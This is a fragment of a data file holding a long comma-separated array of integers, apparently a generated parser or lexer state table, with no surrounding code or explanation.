,274432,541,541,1762,541,541,541,541,541,541,541,541,1769,541,541,541,1773,541,541,1778,541,541,541,541,541,541,541,541,541,541,541,541,541,1788,541,541,0,563,1828,563,563,563,563,563,563,563,1835,563,563,563,563,563,563,3250,563,563,563,563,563,563,563,563,563,2321,563,563,563,563,0,0,563,1908,563,563,563,563,563,563,563,563,563,26028,0,587,1924,587,0,0,0,541,587,563,541,541,900,541,541,563,563,973,563,563,563,563,2262,563,563,563,563,563,563,563,563,563,563,563,1434,563,563,563,563,587,587,587,1960,587,587,587,1964,587,587,1969,587,587,587,587,587,587,2688,587,587,587,587,587,587,2695,587,587,563,563,587,587,587,587,0,0,0,2031,0,1082,0,0,0,2033,0,1086,0,0,0,2035,0,1090,0,0,0,2037,0,1094,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1620,2587,0,1825,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2610,2650,563,563,563,0,0,0,2653,0,1921,587,587,587,587,587,587,587,3549,587,587,587,587,587,587,0,0,3672,0,541,541,541,541,563,563,0,0,2969,0,0,0,0,0,0,0,0,0,0,0,0,0,2102,0,0,0,0,0,3161,0,0,0,0,0,0,0,0,0,0,0,0,1703,0,0,0,0,0,3319,541,541,541,541,541,541,541,3324,541,541,541,541,541,541,541,2832,541,541,541,541,541,541,541,541,541,2573,541,541,541,541,541,541,587,587,3361,587,587,587,587,587,587,587,587,587,587,587,587,587,2709,587,587,3379,0,0,3382,0,0,0,0,3180,3387,0,0,0,0,0,0,0,1682,0,1684,0,0,0,0,0,0,0,1114,0,0,0,0,1118,0,0,1121,541,541,541,541,3407,541,541,541,563,563,563,3412,563,563,563,563,563,2289,563,563,563,563,563,563,563,563,563,563,2605,563,563,563,563,563,3416,563,563,563,563,563,3422,563,563,563,563,587,587,587,3428,587,0,0,0,541,587,563,850,541,1066,901,541,923,563,1071,974,587,587,587,3432,587,587,587,587,587,3438,587,587,587,587,541,563,563,563,563,2276,563,563,563,563,563,563,2282,563,2284,563,2287,563,587,587,587,587,587,3492,587,587,587,3496,587,587,587,587,587,587,2704,587,587,587,587,587,587,587,587,587,1470,587,587,587,587,587,587,0,0,3657,0,541,541,541,541,541,541,563,563,563,563,563,563,936,563,563,563,563,563,563,563,563,587,3687,3688,3689,3690,0,541,563,587,0,541,563,587,0,0,0,0,0,0,0,0,3180,0,0,3450,3451,0,0,389,0,0,0,393,389,0,0,0,0,0,0,0,0,0,0,0,122880,0,0,0,0,0,0,0,405,0,347,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,1709,0,0,0,0,0,0,0,0,0,0,399,0,0,0,0,0,0,0,436,0,0,443,0,0,0,0,0,0,0,0,0,0,0,131072,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,522,522,522,522,522,0,0,0,0,0,0,0,0,0,522,522,522,522,522,522,522,522,522,555,578,555,578,555,555,578,555,602,578,578,578,578,578,578,578,602,602,602,555,602,602,602,602,602,602,602,602,578,578,617,622,602,622,628,1,0,0,0,751,0,0,0,0,0,0,0,0,0,0,0,0,2061,0,0,0,962,563,563,563,563,980,563,563,563,0,587,587,992,587,587,587,587,587,2350,587,587,587,587,587,587,587,587,587,587,1936,587,587,587,587,587,1107,0,0,0,0,1112,0,0,0,0,0,0,0,0,0,0,0,167936,167936,167936,167936,167936,167936,167936,1360,914,563,563,563,1366,563,563,563,563,563,563,563,563,563,1380,563,563,1404,563,563,563,563,563,563,563,563,563,563,563,563,563,2620,563,563,563,1441,563,563,563,563,563,563,563,26028,1360,988,587,587,587,1458,563,587,587,587,587,587,1079,0,1562,0,0,0,1568,0,0,0,0,0,0,1627,1628,1629,0,0,0,0,0,0,0,0,343,0,0,0,0,0,0,0,0,403,0,0,0,0,0,0,0,0,407,407,407,407,0,407,407,407,1574,0,0,0,1580,0,0,0,0,0,0,0,0,0,0,0,808,541,541,852,541,1605,0,0,0,0,0,0,0,0,0,0,0,0,0,1619,0,0,0,0,0,1723,0,0,0,0,0,0,0,0,0,0,0,2625536,0,2699264,2715648,0,1973,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2373,563,563,587,587,587,587,0,0,1563,0,0,0,0,0,1569,0,1575,0,1581,0,0,0,0,0,0,0,0,0,0,0,1262,0,0,0,0,0,0,0,0,1575,0,0,0,0,0,1581,0,0,0,0,0,0,0,2974,0,0,0,0,0,0,0,0,0,365,0,253952,0,0,0,0,541,541,541,2190,541,541,541,541,2194,541,2196,541,541,541,541,541,541,541,3039,541,541,541,541,541,541,541,541,541,887,541,541,541,541,541,541,563,563,2275,563,563,563,563,2279,563,2281,563,563,563,563,563,563,1896,563,563,563,563,563,563,563,563,563,1397,1399,563,563,563,563,563,587,587,2362,587,587,587,587,2366,587,2368,587,587,587,587,587,587,1465,587,587,587,587,587,587,1480,587,587,0,0,0,0,0,2489,0,0,0,0,0,0,0,0,0,0,0,196608,0,0,0,0,563,563,2625,563,563,563,563,563,563,563,563,563,563,563,563,563,2648,563,563,0,0,0,0,3024,0,541,541,541,541,541,541,541,541,541,541,541,1330,541,541,541,541,0,3380,0,0,0,0,0,0,3180,0,0,0,0,3391,0,0,0,0,0,328,0,69632,73728,0,0,0,0,0,65536,0,3393,0,0,0,0,0,541,3396,541,541,3398,541,541,541,541,541,541,541,3040,541,541,541,541,541,541,541,541,541,1783,541,541,541,541,1789,541,0,3455,541,541,541,541,541,541,541,541,541,541,541,541,541,541,563,563,563,541,862,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1319,541,541,912,563,563,563,563,563,563,935,563,563,563,563,563,563,563,2291,2292,563,563,563,563,563,563,563,2319,563,563,2322,2323,563,563,0,0,1009,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2697,1059,0,0,0,541,587,563,541,541,541,541,541,563,563,563,563,563,2614,563,563,563,563,563,563,563,563,563,563,3649,587,587,587,587,587,587,587,0,1095,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2513,0,0,1623,0,0,0,0,0,0,0,0,0,0,0,0,0,2130,0,2132,1826,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3258,541,3215,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1337,541,587,587,587,3271,587,587,587,587,587,587,587,587,587,587,587,587,2370,587,587,587,0,0,0,0,348,348,350,348,348,348,348,348,348,513,348,348,0,350,348,0,0,348,348,0,0,0,0,349,0,0,0,0,0,329,0,0,0,0,0,0,0,0,0,0,0,2509,0,0,0,0,348,348,348,348,348,348,348,348,348,348,348,348,348,348,348,348,556,579,556,579,556,556,579,556,603,579,579,579,579,579,579,579,603,603,603,556,603,603,603,603,603,603,603,603,579,579,556,579,603,579,603,1,0,0,0,0,722,0,724,0,0,0,0,0,0,0,0,0,299,0,0,0,0,0,0,0,0,0,0,739,0,0,0,0,0,0,0,0,0,0,0,836,541,541,541,541,0,0,0,766,0,0,0,771,0,0,0,0,0,0,0,0,0,1189,0,0,0,0,0,0,541,541,541,870,541,541,541,541,541,890,892,541,541,903,541,541,541,541,541,2569,541,541,541,541,541,541,541,541,541,541,541,541,2835,541,541,541,963,965,563,563,976,563,563,563,563,0,587,587,993,999,587,587,587,587,587,3374,587,541,541,563,563,587,587,0,0,0,0,0,0,3299,0,0,0,587,587,1017,587,587,587,587,587,1037,1039,587,587,1050,587,587,587,587,587,2364,587,587,2367,587,587,587,587,587,587,587,2677,587,587,587,587,587,587,2682,587,0,0,0,1151,0,1153,0,1155,0,0,0,0,0,0,0,0,0,1231,541,541,541,541,541,541,0,1181,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1636,0,0,1198,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1675,0,0,1266,0,0,0,0,0,0,0,1181,541,541,541,541,541,541,541,1326,541,541,541,541,541,541,541,1339,1305,1307,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1358,541,541,541,1343,541,541,541,541,541,541,541,541,1354,1355,541,541,541,541,541,541,2840,541,541,541,541,541,541,541,541,541,541,3056,541,3058,541,541,541,1360,914,563,563,563,563,1367,563,563,563,563,563,563,563,563,563,3242,563,563,563,563,563,563,563,563,563,1421,563,563,563,563,563,563,563,1435,563,563,563,563,563,2627,563,563,563,563,563,563,2635,563,563,563,1459,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2942,587,587,587,1489,1491,587,587,587,587,587,587,587,587,587,587,587,2707,2708,587,587,587,1554,587,1555,587,587,1558,1079,0,0,0,0,0,0,0,0,0,306,204800,204800,0,205106,204800,1,0,1677,0,0,1679,0,0,0,0,0,0,0,0,0,0,0,1159,0,0,0,0,541,541,541,541,1763,541,541,541,541,541,541,541,541,541,541,541,541,2208,541,541,541,0,563,563,563,563,563,563,563,1833,563,563,563,563,563,563,563,2879,563,563,563,563,563,563,563,563,2644,563,563,563,2647,563,563,563,1858,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1857,563,563,563,1909,563,563,563,563,1915,563,563,563,26028,0,587,587,587,587,587,2376,587,587,587,587,587,587,587,587,587,587,2717,541,587,563,541,541,587,587,587,587,1929,587,587,587,587,587,587,587,587,587,587,587,2938,587,587,587,587,587,1991,587,587,587,1996,587,587,587,587,587,587,587,587,2005,587,0,0,0,541,587,563,852,892,541,903,541,925,965,563,976,587,587,587,2011,587,587,587,541,587,563,541,541,541,541,563,563,916,563,563,563,932,563,563,563,563,563,563,563,1864,563,563,563,1868,563,563,1873,563,2077,0,0,0,0,0,0,0,0,2085,0,0,0,0,0,2089,0,0,2091,0,0,0,0,0,0,0,2099,0,0,0,0,0,0,0,3012,3013,0,0,0,0,3018,0,0,2133,2134,0,2136,0,0,0,0,0,0,0,0,0,0,2144,0,0,2149,2150,0,0,0,0,0,2154,0,0,0,0,0,0,0,2160,541,541,541,541,541,541,2167,541,541,541,541,541,541,1288,541,541,541,541,1298,541,541,541,541,541,541,1325,541,541,541,541,541,541,541,541,541,541,1801,541,541,541,541,541,2202,541,541,541,541,541,541,541,541,541,541,541,541,2209,541,541,541,541,541,2815,541,2818,541,541,541,541,2823,541,541,541,541,541,541,3409,541,563,563,563,563,563,563,563,563,3479,563,3481,3482,563,3484,563,541,541,541,2215,541,541,541,541,541,541,541,541,541,541,541,541,895,541,541,541,0,0,2244,563,563,563,563,563,563,563,2252,563,563,563,563,563,563,3534,563,3536,563,563,3538,563,563,587,587,563,563,2301,563,563,563,563,563,563,563,563,563,563,563,563,563,2893,563,563,0,0,2331,587,587,587,587,587,587,587,2339,587,587,587,587,587,587,2715,587,587,587,587,541,587,563,541,541,587,587,587,587,2363,587,587,587,587,587,587,2369,587,2371,587,2374,587,587,2388,587,587,587,587,587,587,587,587,587,587,587,587,587,2918,587,587,0,2474,0,0,0,0,0,0,0,0,0,2482,0,0,0,0,0,0,0,122880,122880,122880,122880,122880,0,122880,0,2105632,0,0,2514,0,0,0,0,0,0,0,0,0,2522,0,0,541,541,541,541,541,3461,541,541,541,3465,541,541,541,541,541,541,1287,541,541,541,541,541,541,541,541,541,541,2546,541,541,541,541,541,541,541,541,541,2540,541,541,541,541,541,541,541,541,541,541,541,541,2222,541,541,541,563,563,563,2599,563,563,563,563,563,2604,563,563,563,563,563,563,2278,563,563,563,563,563,563,563,563,563,2632,563,563,563,563,563,563,2670,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3143,587,587,587,587,2686,587,587,587,587,587,587,587,587,587,587,587,3125,587,587,587,587,541,541,2723,563,563,563,2725,587,587,587,2727,2728,0,0,0,0,0,0,0,172032,172032,172032,172032,172032,172032,172032,172032,1,0,0,2746,0,2747,0,0,0,0,0,0,0,0,0,0,0,1175,0,0,0,0,0,0,0,0,2762,0,0,0,0,0,0,0,0,0,0,0,1192,0,1195,0,0,2811,541,2812,541,541,541,541,541,541,541,541,541,541,541,541,541,1804,541,541,541,541,541,2849,541,541,541,541,541,0,0,563,563,563,563,563,563,563,563,563,563,563,563,2255,563,2858,563,2859,563,563,563,563,563,563,563,563,563,563,563,563,563,3086,563,563,587,587,2907,587,2908,587,587,587,587,587,587,587,587,587,587,587,3139,587,3141,587,587,0,0,0,2983,0,0,0,0,0,0,0,0,0,0,0,0,2073,0,0,0,0,0,3381,0,0,0,0,0,3180,0,0,0,3390,0,0,0,0,0,0,1659,0,0,0,0,0,0,0,0,0,0,114688,0,241664,258048,0,0,3430,587,587,587,587,587,587,587,587,587,3439,587,587,587,541,563,563,563,563,2303,563,563,563,563,563,563,563,563,563,563,563,26028,0,587,587,587,541,541,541,541,3518,541,541,541,541,541,541,541,541,541,563,563,563,3232,563,563,563,563,563,563,3531,563,563,563,563,563,563,563,563,563,563,587,587,587,3357,587,587,587,587,587,3545,587,587,587,587,587,587,587,587,587,587,0,0,0,0,0,0,3637,541,541,541,541,541,541,3643,563,563,563,563,3647,563,563,587,587,587,587,587,3653,587,587,0,0,0,0,3635,0,541,541,541,541,541,541,541,563,2724,563,563,587,2726,587,587,0,0,0,0,0,0,0,0,3607,0,541,541,541,541,0,3656,0,3658,541,541,541,541,541,541,563,563,563,563,563,563,937,563,563,563,563,563,563,563,0,0,0,0,394,395,0,396,0,0,0,0,0,396,0,0,0,0,0,331,332,333,0,0,0,0,0,0,0,0,0,560,583,560,583,560,560,583,401,0,0,0,0,0,368,376,404,0,0,0,0,0,368,0,0,396,0,0,0,0,0,351,0,0,368,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2744,409,411,0,0,368,376,0,69632,73728,0,0,0,0,427,65536,0,0,0,0,0,2044,2045,0,0,0,0,0,0,0,0,0,361,0,0,0,0,0,361,427,427,437,0,427,0,411,427,456,0,0,0,0,0,0,0,0,106496,0,106496,0,0,0,0,106496,396,0,409,0,497,497,0,497,497,497,497,497,497,497,497,523,523,523,523,523,456,456,456,456,531,456,456,532,456,523,537,523,523,523,537,523,523,523,523,539,557,580,557,580,557,557,580,557,604,580,580,580,580,580,580,580,604,604,604,557,604,604,604,604,604,604,604,604,580,580,618,623,604,623,629,1,0,0,0,643,0,0,0,0,0,0,0,0,0,0,0,0,2101,0,0,0,783,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2757,0,0,0,802,0,0,0,0,0,0,0,0,0,0,0,0,2129,0,0,0,587,587,587,1023,1025,587,587,587,587,587,587,587,587,587,587,587,3275,587,587,587,587,0,0,0,0,1096,0,0,1098,0,0,0,0,0,0,0,0,0,1630,0,0,0,0,0,1636,0,0,0,0,1111,0,0,0,0,0,0,0,0,0,0,0,1207,0,0,0,0,1098,1227,0,0,0,0,0,0,1234,0,0,0,0,0,0,0,0,155648,0,0,0,0,0,0,0,0,1239,0,0,0,0,0,0,0,0,0,0,1239,1248,0,0,0,0,0,0,1681,0,0,0,0,0,0,1687,0,1689,0,0,0,0,1239,1269,1270,0,1239,0,541,541,541,541,541,541,541,3207,3208,541,541,541,541,3212,3213,1278,541,541,541,1282,541,541,1293,541,541,1297,541,541,541,541,541,541,541,3054,541,541,541,541,541,541,541,541,541,1784,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,1370,563,563,563,1374,563,563,563,563,1847,563,563,563,563,563,563,563,563,563,563,563,2308,563,563,563,563,1385,563,563,1389,563,563,563,563,563,563,563,563,563,563,563,563,2295,563,563,563,563,563,563,1406,563,563,563,1410,563,563,563,563,563,563,563,563,2901,563,563,0,0,587,587,587,587,587,587,1462,587,587,587,1466,587,587,1477,587,587,1481,587,587,587,587,587,3434,587,3436,587,587,587,587,587,587,541,563,587,1502,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3128,587,0,1622,0,0,0,0,0,0,0,0,0,0,0,0,1635,0,0,0,0,0,2067,0,0,0,0,0,0,0,0,0,2076,1637,0,0,0,1641,0,0,0,1645,0,0,0,1649,0,0,0,0,0,0,2056,0,2057,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1676,0,563,563,1844,563,563,563,563,563,563,563,563,563,563,563,563,563,3540,587,587,1958,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3127,587,3129,587,587,2010,587,587,587,587,1749,1940,1844,541,541,541,541,563,563,917,563,563,563,934,563,563,948,563,563,563,563,563,1895,563,563,563,1900,563,563,563,563,563,563,1914,563,563,563,563,26028,0,587,587,587,0,2118,0,0,0,0,0,0,2125,0,0,0,0,0,0,0,0,184726,184932,184932,184932,0,184932,184932,184932,0,0,2159,0,541,541,2162,541,541,541,541,541,541,541,541,541,541,2833,541,541,541,541,541,541,541,2227,541,541,541,541,541,541,541,541,541,541,541,0,0,563,2855,563,563,563,0,0,563,563,2246,563,563,563,563,563,563,563,563,563,563,563,3255,563,563,563,563,563,563,2314,563,563,563,563,563,563,563,563,563,563,563,0,0,587,2904,587,0,0,587,587,2333,587,587,587,587,587,587,587,587,587,587,587,3440,587,587,541,563,587,587,587,587,2390,587,587,587,587,587,587,587,587,587,587,587,2928,587,587,587,587,587,587,587,587,2401,587,587,587,587,587,587,587,587,587,587,587,541,587,0,0,0,541,587,563,1064,541,541,905,541,1069,563,563,978,541,541,541,2567,541,541,541,541,541,541,541,541,541,541,541,541,900,541,541,541,2698,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3277,587,587,0,2759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1716,0,541,2827,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1758,541,563,2874,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2285,563,587,587,587,2923,587,587,587,587,587,587,587,587,587,587,587,587,2382,587,587,587,0,0,2993,0,0,0,0,0,0,0,0,0,0,0,0,0,2433,0,2435,3171,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2771,3202,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2577,3225,541,541,541,541,541,541,541,541,563,563,563,563,563,563,563,2888,563,563,563,563,563,563,563,563,3241,563,563,563,563,563,563,563,587,587,587,3282,587,587,587,587,587,587,587,587,587,541,587,563,2018,541,541,541,2022,563,541,3289,563,3291,587,3293,3294,0,0,0,0,3298,0,0,0,0,0,0,0,1134592,0,365,0,0,0,1134592,0,0,0,1134592,1134592,0,0,1134592,0,0,1134592,0,0,0,3311,0,0,0,0,3315,0,0,0,0,0,0,0,0,0,1725,0,0,0,0,0,0,3318,0,541,541,541,3320,541,541,541,3323,541,541,541,541,541,541,541,1751,541,541,541,541,541,541,541,541,541,2586,0,563,563,563,563,563,3338,563,563,563,3341,563,563,563,563,563,563,563,563,563,563,563,26028,1921,587,587,587,587,3360,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3554,0,0,3403,541,3405,541,541,541,541,541,563,563,563,563,563,563,563,563,563,563,3075,563,563,3418,563,3420,563,563,563,563,563,563,587,587,587,587,587,587,587,3596,587,3598,587,587,0,0,0,0,3560,0,0,0,0,541,541,541,541,541,541,541,541,541,2169,541,541,541,541,541,3574,541,541,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1417,3586,563,563,563,587,587,587,587,587,587,587,587,587,587,3599,587,0,0,0,853,1e3,926,849,1065,894,541,541,922,1070,967,563,0,587,587,587,587,587,78115,0,0,0,0,0,0,0,0,0,365,0,305,0,0,0,0,3611,541,541,541,541,541,541,541,563,563,3617,563,3618,563,563,563,563,587,587,587,587,3594,587,587,587,587,587,587,587,541,541,563,563,587,587,3378,0,0,410,356,0,0,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,2122,0,0,0,0,0,0,0,0,0,0,304,304,0,0,0,0,0,0,354,0,0,0,356,0,0,473,473,473,473,473,473,473,478,473,473,473,473,473,473,473,473,473,473,473,478,473,484,473,0,0,473,0,0,0,0,0,0,0,0,524,528,528,528,528,473,473,473,473,473,473,473,478,473,528,524,528,528,528,524,528,528,528,528,540,558,581,558,581,558,558,581,558,605,581,581,581,581,581,581,581,605,605,605,558,605,605,605,605,605,605,605,605,581,581,619,624,605,624,630,1,0,0,0,0,644,0,0,0,0,0,0,0,0,0,0,0,1606,0,0,0,0,688,0,0,0,0,0,0,0,0,0,0,0,365,365,365,0,0,0,0,0,2138,0,0,0,0,0,0,0,0,0,0,0,2768,0,0,0,0,0,0,0,738,0,0,0,644,738,0,744,745,644,0,0,0,0,0,0,790,0,0,0,0,0,0,0,0,0,2058,0,0,0,0,0,0,0,0,799,0,804,0,0,0,0,0,0,804,0,0,0,0,0,644,0,0,0,799,0,804,0,790,0,819,0,0,0,665,0,0,0,0,819,0,0,0,0,0,0,0,2473984,2478080,0,0,0,0,0,0,0,0,0,2767,0,0,0,0,0,0,0,644,0,0,0,0,0,0,0,0,790,0,0,0,0,0,0,0,3165,0,0,0,0,0,0,0,0,0,541,563,541,563,541,541,563,0,0,790,790,0,644,0,0,790,804,842,0,541,848,541,541,541,541,541,2839,541,541,541,2842,541,2844,541,541,541,541,541,541,879,541,884,541,891,541,894,541,541,908,541,541,867,871,877,541,882,541,541,541,541,541,899,541,541,541,541,541,541,2852,541,541,0,0,563,563,563,563,563,563,563,563,563,563,563,563,563,2256,563,563,563,972,563,563,563,563,563,0,587,587,995,587,587,587,587,587,2687,587,587,587,587,587,587,587,587,587,587,2937,587,587,587,587,587,587,587,1014,1018,1024,587,1029,587,587,587,587,587,1046,587,587,587,587,587,1026,587,1031,587,1038,587,1041,587,587,1055,587,1149,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2799,0,0,0,1200,0,0,0,0,0,1205,0,0,0,0,0,0,0,1714,0,0,0,0,0,0,0,0,0,2140,2141,0,0,2143,0,0,1099,0,0,0,1230,0,1232,0,0,0,0,0,0,0,0,0,351,352,353,0,0,0,0,1240,0,0,0,0,0,0,0,0,0,0,1246,0,1249,1200,0,0,0,0,0,2427,0,0,0,0,0,0,0,0,0,0,336,337,0,0,0,0,1230,1252,0,1255,0,0,0,0,0,1130,0,0,0,0,1264,0,0,1149,1264,0,1271,541,541,541,541,1277,1360,914,1362,563,563,563,563,563,1369,563,563,563,563,1375,563,563,563,563,1862,563,563,563,563,563,563,563,563,563,563,563,3084,563,563,563,563,563,563,563,1407,563,563,563,563,1412,563,563,563,563,563,563,563,2900,563,563,563,0,0,587,587,587,563,1419,563,563,563,1426,1428,563,563,563,563,563,563,563,563,563,3346,563,563,563,563,563,563,587,587,1461,587,587,587,587,1467,587,587,587,587,587,587,587,587,2663,587,587,587,587,587,587,587,587,587,1488,587,587,587,587,587,587,587,587,587,587,1499,587,587,587,587,1463,587,587,587,587,587,1475,587,587,587,587,587,587,2014,541,587,563,1791,541,2020,541,1886,563,587,587,1504,587,587,587,587,587,587,587,587,1511,587,587,587,1518,1520,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2396,2397,2398,587,587,1542,587,0,541,587,563,541,541,541,541,541,563,563,563,563,563,2862,563,2865,563,563,563,563,2870,563,563,563,563,587,587,587,587,587,1079,0,0,1563,0,0,0,1569,0,0,0,0,0,376,0,0,0,0,368,0,385,0,351,0,0,1575,0,0,0,1581,0,0,0,0,0,0,0,0,0,0,303,303,0,0,0,0,1592,1593,0,0,0,0,0,1599,0,0,0,0,0,0,0,0,0,2098,0,2100,0,0,0,0,0,1638,0,0,0,0,0,0,0,1646,1647,0,0,0,0,0,0,0,3197,0,0,0,0,0,0,3200,0,0,1654,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2038,0,1690,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3005,0,1706,1707,0,0,0,1710,0,0,0,0,0,1714,0,0,1717,0,0,1730,0,1732,1706,541,541,541,541,541,541,541,541,541,541,541,2547,541,541,541,541,541,1744,541,541,541,541,1750,541,541,541,541,541,541,541,541,541,541,3220,541,541,541,541,541,541,1761,541,541,541,541,1765,541,541,541,541,541,541,541,541,541,541,3335,541,541,563,563,563,541,1776,541,541,541,1781,541,541,541,541,541,541,541,541,541,541,541,2559,541,541,541,541,1808,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,563,563,563,563,563,1376,563,0,587,587,1046,587,587,78115,1079,0,0,0,0,0,0,0,0,225890,225890,225890,225890,225741,225890,225890,225890,0,563,563,563,563,563,563,563,563,563,563,563,563,1839,563,563,563,563,1877,563,563,563,563,563,563,563,563,563,563,563,2869,563,563,563,563,563,563,1845,563,563,563,563,563,563,563,563,563,563,1856,563,563,563,563,1894,563,563,563,1898,563,563,563,563,563,563,563,1450,563,26028,1360,988,1454,587,587,587,563,563,1860,563,563,563,563,563,563,563,563,563,563,1871,563,563,563,563,1911,1913,563,563,563,563,563,26028,0,587,587,587,587,587,1506,587,587,1508,587,587,587,1512,587,587,587,0,1286,1470,1378,541,541,541,1549,541,563,563,563,1553,563,1876,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2297,2298,563,563,587,2027,587,587,0,0,0,0,0,0,0,0,0,0,3511,0,3513,0,541,0,0,0,2080,2081,0,0,2083,2084,0,0,0,0,0,0,0,0,286720,0,0,0,0,0,0,0,0,0,286720,286720,0,286720,286720,1,0,0,0,2106,0,0,0,0,2109,2110,0,0,0,0,0,0,0,2069,0,0,0,0,0,0,0,0,0,541,564,541,564,541,541,564,541,541,541,541,2175,541,541,2179,541,541,541,2183,541,541,541,541,541,541,1347,541,541,541,541,541,541,541,541,541,563,563,3231,563,563,563,563,2225,541,541,541,541,2230,541,541,541,541,541,541,541,541,0,0,0,0,0,386,0,69632,73728,0,0,0,0,0,65536,0,2242,0,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2325,0,563,563,563,2260,563,563,2264,563,563,563,2268,563,563,563,563,563,587,587,3625,587,3626,587,587,587,587,587,587,1493,587,587,587,587,587,587,587,587,587,2380,587,587,587,587,587,587,2312,563,563,563,563,2317,563,563,563,563,563,563,563,563,0,0,0,0,0,0,587,587,2655,587,587,587,2329,0,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2680,587,587,587,587,587,587,2347,587,587,2351,587,587,587,2355,587,587,587,587,587,587,2925,587,587,587,587,587,587,587,587,587,1471,587,587,587,587,587,587,2399,587,587,587,587,2404,587,587,587,587,587,587,587,587,541,587,0,0,0,854,1001,927,541,541,541,541,910,563,563,563,563,563,1848,563,563,563,563,563,563,563,563,563,563,3097,563,3099,563,563,563,0,0,0,0,2439,0,0,0,0,0,0,0,0,0,0,0,1616,0,0,0,0,0,0,2475,0,0,0,2479,0,0,0,0,0,0,0,0,0,365,0,0,0,0,0,0,541,2525,541,541,541,541,541,541,541,541,541,541,2533,541,541,541,541,541,541,3053,541,541,3055,541,541,541,541,541,541,541,1311,541,541,541,541,541,541,541,541,541,1753,541,541,541,541,541,541,541,2551,541,541,2553,541,2554,541,541,541,541,541,541,541,2561,541,541,541,541,876,878,541,541,541,541,541,541,541,541,541,541,541,1353,541,541,541,541,541,2565,541,541,541,541,541,541,541,541,541,541,541,541,2576,541,541,541,541,1283,541,541,541,541,541,541,541,541,541,541,1304,0,0,0,563,563,2589,563,563,563,563,563,563,563,563,563,563,3537,563,563,3539,563,587,587,563,2597,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2326,0,563,563,2612,563,563,563,2615,563,563,2617,563,2618,563,563,563,563,563,2877,2878,563,563,563,563,2881,563,563,563,563,563,1863,563,563,563,563,563,563,563,563,563,563,3356,587,587,587,587,587,563,563,563,563,2626,563,563,2630,563,563,563,563,563,563,563,563,3345,563,563,563,563,563,563,563,563,563,563,563,2641,2642,563,563,563,563,563,563,563,563,563,563,26028,1360,988,587,587,587,587,2683,587,2684,587,587,587,587,587,587,587,587,2692,587,587,2696,587,0,0,0,1061,1062,1063,851,541,898,902,1068,924,563,971,975,2733,2734,0,0,2737,2738,0,0,0,0,0,0,0,0,0,0,306,307,0,0,0,0,0,2788,0,2790,0,0,0,0,0,0,0,0,0,0,0,0,2457,0,0,0,0,0,0,0,2803,0,0,0,0,0,0,541,541,541,541,541,541,541,3033,541,541,2826,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2825,2873,563,563,563,563,563,563,563,563,563,563,563,563,2883,563,563,563,563,1912,563,563,563,563,563,563,26028,0,587,587,587,587,587,2934,587,587,587,587,587,587,587,2940,587,587,587,587,2922,587,587,587,587,587,587,587,587,587,587,587,587,2932,0,2982,0,0,2984,0,0,0,0,0,0,0,0,0,0,0,1632,0,0,0,0,0,0,0,0,2995,0,0,2998,0,2999,0,0,0,0,0,0,0,2096,0,0,0,0,0,0,0,0,0,562,585,562,585,562,562,585,541,3049,541,541,541,541,541,541,541,541,541,541,541,541,541,3061,3089,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2621,563,3103,563,563,563,563,563,587,587,587,3111,587,587,587,587,587,587,1507,587,587,587,587,587,587,587,587,587,1983,1984,587,587,587,587,587,587,3131,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2929,587,587,587,587,3145,587,587,587,587,587,541,587,563,541,541,563,563,587,587,0,2962,0,0,0,0,0,0,0,0,0,2507,0,0,0,0,0,0,0,0,0,0,0,3163,0,0,0,0,0,0,0,3169,0,0,0,0,0,438,0,0,0,0,0,0,0,0,0,0,0,2142,0,0,0,0,541,3226,541,541,541,541,541,541,541,563,563,563,563,563,563,563,3095,563,563,563,563,563,563,563,563,2306,563,563,563,563,563,563,563,563,563,3236,563,563,563,563,563,563,563,563,563,563,563,563,563,2309,2310,2311,563,563,3246,563,563,563,563,563,563,3252,563,3254,563,563,563,563,563,1392,563,563,563,563,563,563,563,563,563,563,1853,563,563,563,563,563,563,563,563,587,587,587,587,587,587,587,587,587,3265,587,587,587,587,587,2703,587,587,587,587,587,587,587,587,587,587,2950,587,587,541,587,563,587,587,3281,587,3283,587,587,587,587,587,587,587,587,541,587,563,3153,541,3155,563,3157,587,0,0,0,3301,0,0,0,0,0,0,0,3180,0,0,0,0,0,0,0,3014656,3207168,0,2691072,0,0,3215360,0,0,3309,0,0,0,0,0,3314,0,0,0,0,0,0,0,0,0,365,0,0,0,0,1310